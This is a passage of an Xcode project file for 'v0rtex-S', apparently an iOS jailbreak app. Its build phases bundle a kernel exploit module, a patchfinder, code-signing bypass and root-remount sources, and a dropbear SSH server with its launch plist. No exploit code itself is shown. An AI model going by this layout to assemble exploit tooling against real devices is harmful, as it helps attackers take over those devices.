EE665E261FDC013D00FF457E /* IOKit.framework in Frameworks */, 78 | ); 79 | runOnlyForDeploymentPostprocessing = 0; 80 | }; 81 | /* End PBXFrameworksBuildPhase section */ 82 | 83 | /* Begin PBXGroup section */ 84 | EE5252A01FDA4F2F00993801 = { 85 | isa = PBXGroup; 86 | children = ( 87 | B5BB8F781FE4D97800B60FDC /* README.md */, 88 | B514CC671FEC8691005F4E6B /* binCreation */, 89 | EE5252AB1FDA4F2F00993801 /* v0rtex-S */, 90 | EE5252AA1FDA4F2F00993801 /* Products */, 91 | EE665E201FDBFDB600FF457E /* Frameworks */, 92 | ); 93 | sourceTree = ""; 94 | }; 95 | EE5252AA1FDA4F2F00993801 /* Products */ = { 96 | isa = PBXGroup; 97 | children = ( 98 | EE5252A91FDA4F2F00993801 /* v0rtex.app */, 99 | ); 100 | name = Products; 101 | sourceTree = ""; 102 | }; 103 | EE5252AB1FDA4F2F00993801 /* v0rtex-S */ = { 104 | isa = PBXGroup; 105 | children = ( 106 | EEAC27D31FDDB0A3003C1801 /* Supporting Files */, 107 | B5C5C5D51FE9DADC0022D2EC /* bash */, 108 | B544A5C51FEB2F3400AA5749 /* bootstrap.tar */, 109 | B5ED69071FEAFA1500D5DCC7 /* dropbear */, 110 | B58B325A1FE525A300EB7B47 /* dropbear.plist */, 111 | B5C5C5DD1FE9EF660022D2EC /* launchctl */, 112 | B5E66A591FE824FD00C7530E /* tar */, 113 | EE5252BB1FDA4F2F00993801 /* main.m */, 114 | EE5252AC1FDA4F2F00993801 /* AppDelegate.h */, 115 | EE5252AD1FDA4F2F00993801 /* AppDelegate.m */, 116 | EE5252AF1FDA4F2F00993801 /* ViewController.h */, 117 | EE5252B01FDA4F2F00993801 /* ViewController.m */, 118 | EE5169291FDC2C9D00805460 /* common.h */, 119 | EE81AD151FDEF1AB0094418B /* v0rtex.h */, 120 | EE5169271FDC2A7000805460 /* v0rtex.m */, 121 | B58B323F1FE4EBA300EB7B47 /* kernel.h */, 122 | B58B323D1FE4EBA300EB7B47 /* kernel.m */, 123 | B5C5C5D21FE9C51A0022D2EC /* amfi.m */, 124 | B5C5C5D41FE9C8CC0022D2EC /* amfi.h */, 125 | B58B32451FE4ED6300EB7B47 /* symbols.m */, 126 | B58B32471FE4EDCF00EB7B47 /* symbols.h */, 127 | B58B32481FE4F3DF00EB7B47 /* root-rw.m */, 128 | B58B324A1FE4F3F900EB7B47 /* root-rw.h */, 129 | B5E66A5B1FE86DD900C7530E /* libjb.a */, 130 | B58B32561FE5237000EB7B47 /* libjb.h */, 131 | B5E66A501FE6D8A800C7530E /* patchfinder64.c */, 132 | B5E66A4F1FE6D8A700C7530E /* patchfinder64.h */, 133 | ); 134 | path = "v0rtex-S"; 135 | sourceTree = ""; 136 | }; 137 | EE665E201FDBFDB600FF457E /* Frameworks */ = { 138 | isa = PBXGroup; 139 | children = ( 140 | EE665E251FDC013D00FF457E /* IOKit.framework */, 141 | ); 142 | name = Frameworks; 143 | sourceTree = ""; 144 | }; 145 | EEAC27D31FDDB0A3003C1801 /* Supporting Files */ = { 146 | isa = PBXGroup; 147 | children = ( 148 | EE5252BA1FDA4F2F00993801 /* Info.plist */, 149 | EE5252B51FDA4F2F00993801 /* Assets.xcassets */, 150 | EE5252B71FDA4F2F00993801 /* LaunchScreen.storyboard */, 151 | EE5252B21FDA4F2F00993801 /* Main.storyboard */, 152 | ); 153 | name = "Supporting Files"; 154 | sourceTree = ""; 155 | }; 156 | /* End PBXGroup section */ 157 | 158 | /* Begin PBXNativeTarget section */ 159 | EE5252A81FDA4F2F00993801 /* v0rtex */ = { 160 | isa = PBXNativeTarget; 161 | buildConfigurationList = EE5252BF1FDA4F2F00993801 /* Build configuration list for PBXNativeTarget "v0rtex" */; 162 | buildPhases = ( 163 | EE5252A51FDA4F2F00993801 /* Sources */, 164 | EE5252A61FDA4F2F00993801 /* Frameworks */, 165 | EE5252A71FDA4F2F00993801 /* Resources */, 166 | ); 167 | buildRules = ( 168 | ); 169 | dependencies = ( 170 | ); 171 | name = v0rtex; 172 | productName = v0rtex; 173 | productReference = EE5252A91FDA4F2F00993801 /* v0rtex.app */; 174 | productType = "com.apple.product-type.application"; 175 | }; 176 | /* End PBXNativeTarget section */ 177 | 178 | /* Begin PBXProject section */ 179 | EE5252A11FDA4F2F00993801 /* Project object */ = { 180 | isa = PBXProject; 181 | attributes = { 182 | LastUpgradeCheck = 0920; 183 | ORGANIZATIONNAME = Sticktron; 184 | TargetAttributes = { 185 | EE5252A81FDA4F2F00993801 = { 186 | CreatedOnToolsVersion = 9.0; 187 | ProvisioningStyle = Automatic; 188 | }; 189 | }; 190 | }; 191 | buildConfigurationList = EE5252A41FDA4F2F00993801 /* Build configuration list for PBXProject "v0rtex-s" */; 192 | compatibilityVersion = "Xcode 8.0"; 193 | developmentRegion = en; 194 | hasScannedForEncodings = 0; 195 | knownRegions = ( 196 | en, 197 | Base, 198 | ); 199 | mainGroup = EE5252A01FDA4F2F00993801; 200 | productRefGroup = EE5252AA1FDA4F2F00993801 /* Products */; 201 | projectDirPath = ""; 202 | projectRoot = ""; 203 | targets = ( 204 | EE5252A81FDA4F2F00993801 /* v0rtex */, 205 | ); 206 | }; 207 | /* End PBXProject section */ 208 | 209 | /* Begin PBXResourcesBuildPhase section */ 210 | EE5252A71FDA4F2F00993801 /* Resources */ = { 211 | isa = PBXResourcesBuildPhase; 212 | buildActionMask = 2147483647; 213 | files = ( 214 | B514CC681FEC8691005F4E6B /* binCreation in Resources */, 215 | B5ED69081FEAFA1500D5DCC7 /* dropbear in Resources */, 216 | B5C5C5D61FE9DADC0022D2EC /* bash in Resources */, 217 | EE5252B91FDA4F2F00993801 /* LaunchScreen.storyboard in Resources */, 218 | B5C5C5DE1FE9EF670022D2EC /* launchctl in Resources */, 219 | B5E66A5A1FE824FD00C7530E /* tar in Resources */, 220 | EE5252B61FDA4F2F00993801 /* Assets.xcassets in Resources */, 221 | B5BB8F791FE4D97800B60FDC /* README.md in Resources */, 222 | EE5252B41FDA4F2F00993801 /* Main.storyboard in Resources */, 223 | B544A5C61FEB2F3400AA5749 /* bootstrap.tar in Resources */, 224 | B58B325C1FE525A300EB7B47 /* dropbear.plist in Resources */, 225 | ); 226 | runOnlyForDeploymentPostprocessing = 0; 227 | }; 228 | /* End PBXResourcesBuildPhase section */ 229 | 230 | /* Begin PBXSourcesBuildPhase section */ 231 | EE5252A51FDA4F2F00993801 /* Sources */ = { 232 | isa = PBXSourcesBuildPhase; 233 | buildActionMask = 2147483647; 234 | files = ( 235 | B5C5C5D31FE9C51A0022D2EC /* amfi.m in Sources */, 236 | B58B32491FE4F3DF00EB7B47 /* root-rw.m in Sources */, 237 | B58B32401FE4EBA300EB7B47 /* kernel.m in Sources */, 238 | B5E66A511FE6D8A800C7530E /* patchfinder64.c in Sources */, 239 | B58B32461FE4ED6300EB7B47 /* symbols.m in Sources */, 240 | EE5252B11FDA4F2F00993801 /* ViewController.m in Sources */, 241 | EE5252BC1FDA4F2F00993801 /* main.m in Sources */, 242 | EE5252AE1FDA4F2F00993801 /* AppDelegate.m in Sources */, 243 | EE5169281FDC2A7000805460 /* v0rtex.m in Sources */, 244 | ); 245 | runOnlyForDeploymentPostprocessing = 0; 246 | }; 247 | /* End PBXSourcesBuildPhase section */ 248 | 249 | /* Begin PBXVariantGroup section */ 250 | EE5252B21FDA4F2F00993801 /* Main.storyboard */ = { 251 | isa = PBXVariantGroup; 252 | children = ( 253 | EE5252B31FDA4F2F00993801 /* Base */, 254 | ); 255 | name = Main.storyboard; 256 | sourceTree = ""; 257 | }; 258 | EE5252B71FDA4F2F00993801 /* LaunchScreen.storyboard */ = { 259 | isa = PBXVariantGroup; 260 | children = ( 261 | EE5252B81FDA4F2F00993801 /* Base */, 262 | ); 263 | name = LaunchScreen.storyboard; 264 | sourceTree = ""; 265 | }; 266 | /* End PBXVariantGroup section */ 267 | 268 | /* Begin XCBuildConfiguration section */ 269 | EE5252BD1FDA4F2F00993801 /* Debug */ = { 270 | isa = XCBuildConfiguration; 271 | buildSettings = { 272 | ALWAYS_SEARCH_USER_PATHS = YES; 273 | CLANG_ANALYZER_NONNULL = YES; 274 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 275 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 276 | CLANG_CXX_LIBRARY = "libc++"; 277 | CLANG_ENABLE_MODULES = YES; 278 | CLANG_ENABLE_OBJC_ARC = YES; 279 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 280 | CLANG_WARN_BOOL_CONVERSION = YES; 281 | CLANG_WARN_COMMA = YES; 282 | CLANG_WARN_CONSTANT_CONVERSION = YES; 283 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 284 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 285 | CLANG_WARN_EMPTY_BODY = YES; 286 | CLANG_WARN_ENUM_CONVERSION = YES; 287 | CLANG_WARN_INFINITE_RECURSION = YES; 288 | CLANG_WARN_INT_CONVERSION = YES; 289 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 290 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 291 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 292 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 293 | CLANG_WARN_STRICT_PROTOTYPES = YES; 294 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 295 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 296 | CLANG_WARN_UNREACHABLE_CODE = YES; 297 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 298 | CODE_SIGN_IDENTITY = "iPhone Developer"; 299 | COPY_PHASE_STRIP = NO; 300 | DEBUG_INFORMATION_FORMAT = dwarf; 301 | ENABLE_STRICT_OBJC_MSGSEND = YES; 302 | ENABLE_TESTABILITY = YES; 303 | GCC_C_LANGUAGE_STANDARD = gnu11; 304 | GCC_DYNAMIC_NO_PIC = NO; 305 | GCC_NO_COMMON_BLOCKS = YES; 306 | GCC_OPTIMIZATION_LEVEL = 0; 307 | GCC_PREPROCESSOR_DEFINITIONS = ( 308 | "DEBUG=1", 309 | "$(inherited)", 310 | ); 311 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 312 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 313 | GCC_WARN_UNDECLARED_SELECTOR = YES; 314 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 315 | GCC_WARN_UNUSED_FUNCTION = YES; 316 | GCC_WARN_UNUSED_VARIABLE = YES; 317 | IPHONEOS_DEPLOYMENT_TARGET = 10.0; 318 | MTL_ENABLE_DEBUG_INFO = YES; 319 | ONLY_ACTIVE_ARCH = YES; 320 | SDKROOT = iphoneos; 321 | USER_HEADER_SEARCH_PATHS = "/Users/sticktron/theos/include/**"; 322 | }; 323 | name = Debug; 324 | }; 325 | EE5252BE1FDA4F2F00993801 /* Release */ = { 326 | isa = XCBuildConfiguration; 327 | buildSettings = { 328 | ALWAYS_SEARCH_USER_PATHS = YES; 329 | CLANG_ANALYZER_NONNULL = YES; 330 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 331 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 332 | CLANG_CXX_LIBRARY = "libc++"; 333 | CLANG_ENABLE_MODULES = YES; 334 | CLANG_ENABLE_OBJC_ARC = YES; 335 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 336 | CLANG_WARN_BOOL_CONVERSION = YES; 337 | CLANG_WARN_COMMA = YES; 338 | CLANG_WARN_CONSTANT_CONVERSION = YES; 339 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 340 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 341 | CLANG_WARN_EMPTY_BODY = YES; 342 | CLANG_WARN_ENUM_CONVERSION = YES; 343 | CLANG_WARN_INFINITE_RECURSION = YES; 344 | CLANG_WARN_INT_CONVERSION = YES; 345 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 346 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 347 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 348 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 349 | CLANG_WARN_STRICT_PROTOTYPES = YES; 350 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 351 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 352 | CLANG_WARN_UNREACHABLE_CODE = YES; 353 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 354 | CODE_SIGN_IDENTITY = "iPhone Developer"; 355 | COPY_PHASE_STRIP = NO; 356 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 357 | ENABLE_NS_ASSERTIONS = NO; 358 | ENABLE_STRICT_OBJC_MSGSEND = YES; 359 | GCC_C_LANGUAGE_STANDARD = gnu11; 360 | GCC_NO_COMMON_BLOCKS = YES; 361 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 362 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 363 | GCC_WARN_UNDECLARED_SELECTOR = YES; 364 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 365 | GCC_WARN_UNUSED_FUNCTION = YES; 366 | GCC_WARN_UNUSED_VARIABLE = YES; 367 | IPHONEOS_DEPLOYMENT_TARGET = 10.0; 368 | MTL_ENABLE_DEBUG_INFO = NO; 369 | SDKROOT = iphoneos; 370 | USER_HEADER_SEARCH_PATHS = "/Users/sticktron/theos/include/**"; 371 | VALIDATE_PRODUCT = YES; 372 | }; 373 | name = Release; 374 | }; 375 | EE5252C01FDA4F2F00993801 /* Debug */ = { 376 | isa = XCBuildConfiguration; 377 | buildSettings = { 378 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 379 | "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; 380 | CODE_SIGN_STYLE = Automatic; 381 | DEVELOPMENT_TEAM = 6EKJWC698P; 382 | ENABLE_BITCODE = NO; 383 | GCC_NO_COMMON_BLOCKS = NO; 384 | INFOPLIST_FILE = "$(SRCROOT)/v0rtex-S/Info.plist"; 385 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 386 | LIBRARY_SEARCH_PATHS = ( 387 | "$(inherited)", 388 | "$(PROJECT_DIR)/v0rtex-S", 389 | ); 390 | ONLY_ACTIVE_ARCH = YES; 391 | PRODUCT_BUNDLE_IDENTIFIER = zone.sparkes.v0rtex; 392 | PRODUCT_NAME = "$(TARGET_NAME)"; 393 | PROVISIONING_PROFILE_SPECIFIER = ""; 394 | TARGETED_DEVICE_FAMILY = "1,2"; 395 | VALID_ARCHS = "arm64 armv7s armv7"; 396 | }; 397 | name = Debug; 398 | }; 399 | EE5252C11FDA4F2F00993801 /* Release */ = { 400 | isa = XCBuildConfiguration; 401 | buildSettings = { 402 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 403 | "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; 404 | CODE_SIGN_STYLE = Automatic; 405 | DEVELOPMENT_TEAM = 6EKJWC698P; 406 | ENABLE_BITCODE = NO; 407 | GCC_NO_COMMON_BLOCKS = NO; 408 | INFOPLIST_FILE = "$(SRCROOT)/v0rtex-S/Info.plist"; 409 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 410 | LIBRARY_SEARCH_PATHS = ( 411 | "$(inherited)", 412 | "$(PROJECT_DIR)/v0rtex-S", 413 | ); 414 | ONLY_ACTIVE_ARCH = NO; 415 | PRODUCT_BUNDLE_IDENTIFIER = zone.sparkes.v0rtex; 416 | PRODUCT_NAME = "$(TARGET_NAME)"; 417 | PROVISIONING_PROFILE_SPECIFIER = ""; 418 | TARGETED_DEVICE_FAMILY = "1,2"; 419 | VALID_ARCHS = "arm64 armv7s armv7"; 420 | }; 421 | name = Release; 422 | }; 423 | /* End XCBuildConfiguration section */ 424 | 425 | /* Begin XCConfigurationList section */ 426 | EE5252A41FDA4F2F00993801 /* Build configuration list for PBXProject "v0rtex-s" */ = { 427 | isa = XCConfigurationList; 428 | buildConfigurations = ( 429 | EE5252BD1FDA4F2F00993801 /* Debug */, 430 | EE5252BE1FDA4F2F00993801 /* Release */, 431 | ); 432 | defaultConfigurationIsVisible = 0; 433 | defaultConfigurationName = Release; 434 | }; 435 | EE5252BF1FDA4F2F00993801 /* Build configuration list for PBXNativeTarget "v0rtex" */ = { 436 | isa = XCConfigurationList; 437 | buildConfigurations = ( 438 | EE5252C01FDA4F2F00993801 /* Debug */, 439 | EE5252C11FDA4F2F00993801 /* Release */, 440 | ); 441 | defaultConfigurationIsVisible = 0; 442 | defaultConfigurationName = Release; 443 | }; 444 | /* End XCConfigurationList section */ 445 | }; 446 | rootObject = EE5252A11FDA4F2F00993801 /* Project object */; 447 | } 448 | -------------------------------------------------------------------------------- /v0rtex-s.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | --------------------------------------------------------------------------------